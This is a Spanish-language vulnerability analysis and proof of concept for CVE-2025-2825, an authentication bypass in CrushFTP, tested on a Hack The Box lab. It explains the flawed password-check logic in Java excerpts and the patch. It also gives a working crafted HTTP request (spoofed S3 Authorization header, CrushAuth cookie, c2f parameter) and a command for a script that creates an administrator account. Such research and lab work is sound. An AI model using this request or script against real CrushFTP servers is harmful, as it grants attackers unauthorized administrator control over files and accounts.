
Análisis detallado y exploit PoC para CVE-2025-2825, una omisión de autenticación en CrushFTP. Incluye plantillas de nuclei, escáner multihilo y script de creación de usuarios para pruebas de penetración.
Este documento presenta la investigación de la vulnerabilidad CVE-2025-2825, que afecta al servidor CrushFTP, una solución comercial para la transferencia y almacenamiento de archivos (FTP, SFTP, HTTP/S, interfaces similares a S3, etc.).
El defecto se clasifica como bypass de autenticación, que permite a un atacante remoto no autenticado obtener privilegios de administrador. La explotación exitosa otorga acceso con privilegios crushadmin, visualización y modificación de archivos, gestión de cuentas de usuario y ejecución de operaciones administrativas a través de la interfaz web y la API de CrushFTP.
Versiones afectadas reportadas (según avisos públicos e informes de investigadores):
⚠️ Nota: en algunas publicaciones aparecen duplicados y superposiciones de identificadores CVE (por ejemplo, CVE-2025-31161).
Analizar paso a paso la vulnerabilidad y demostrar el ciclo completo de investigación, que incluye:
Según informes públicos, la vulnerabilidad tiene riesgo crítico:
Son críticas las instancias con las siguientes características:
CrushFTP (cualquier edición con interfaz web).CrushFTP implementa soporte para una API similar a S3. Para la autenticación se utiliza el encabezado Authorization de la forma:
Authorization: AWS4-HMAC-SHA256 Credential=<AccessKey>/<Date>/<Region>/s3/aws4_request, SignedHeaders=<Headers>, Signature=<Signature>
El servidor extrae el AccessKey de Credential y debería verificar la firma. Sin embargo, se cometió un error en el código al manejar el flag lookup_user_pass.
// ServerSessionHTTP.java, método loginCheckHeaderAuth()
if (this.headerLookup.containsKey("AUTHORIZATION") &&
this.headerLookup.getProperty("AUTHORIZATION").trim().startsWith("AWS4-HMAC")) {
boolean lookup_user_pass = true; // ← error crítico
if (s3_username3.indexOf("~") >= 0) {
user_pass = user_name.substring(user_name.indexOf("~") + 1);
user_name = user_name.substring(0, user_name.indexOf("~"));
lookup_user_pass = false;
}
if (this.thisSession.login_user_pass(
lookup_user_pass,
false,
user_name,
lookup_user_pass ? "" : user_pass)) {
// Autenticación exitosa
}
}
El flag lookup_user_pass se pasa directamente como anyPass:
if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
return user; // autenticación sin verificar contraseña
}
Por lo tanto:
En la versión 11.3.1 y posteriores, los desarrolladores:
s3_auth_lookup_password_supported (por defecto false), que bloquea el escenario vulnerable.lookup_user_pass → anyPass.s3_auth_lookup_password_supported.La explotación de CVE-2025-2825 es bastante simple y no requiere una preparación compleja. El atacante solo necesita enviar una solicitud HTTP especialmente diseñada que contenga dos elementos clave:
Authorization en formato AWS S3, que contenga el nombre de usuario existente correcto (campo Credential con AccessKey/username).CrushAuth en el formato esperado y el parámetro c2f en la URL/cuerpo de la solicitud, cuyos valores se corresponden lógicamente (el formato de la cookie debe coincidir con la estructura esperada por el servidor).Si el servidor es vulnerable (versión en el rango 10.0.0—10.8.3 o 11.0.0—11.3.0 y no se ha aplicado el parche correctivo), esta combinación hace que el manejador de autenticación siga la ruta vulnerable, donde el flag de búsqueda de contraseña (lookup_user_pass) se interpreta como «cualquier contraseña es válida», y el usuario se autentica solo por el nombre sin verificar la contraseña.
Nota importante:
La explotación de esta vulnerabilidad generalmente requiere el envío de dos solicitudes consecutivas. La primera, denominada solicitud de «calentamiento» (warm-up), inicia el proceso de autenticación vulnerable en el servidor. Un signo característico de que el servidor ha entrado en el estado deseado es recibir como respuesta un error
502 Bad Gatewayo simplemente un tiempo de espera agotado (timeout). Inmediatamente después se envía la segunda solicitud, la principal, que realiza la acción útil (por ejemplo, crear un usuario), mientras el servidor se encuentra en el estado vulnerable al ataque.
GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f=1111 HTTP/1.1
Host: target-server:8080
Cookie: CrushAuth=1743113839553_vD96EZ70ONL6xAd1DAJhXMZYMn1111
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Para la prueba, tomé el laboratorio lanzado recientemente en HTB — Soulmate, donde precisamente se requiere explotar CrushFTP.

Gracias a esta vulnerabilidad, se puede agregar un nuevo usuario con derechos de administrador mediante el comando setUserItem. Para ello, ejecute new_user.py:
python3 new_user.py --target_host http://ftp.soulmate.htb/ --port 80 --target_user crushadmin --new_user literide --password literide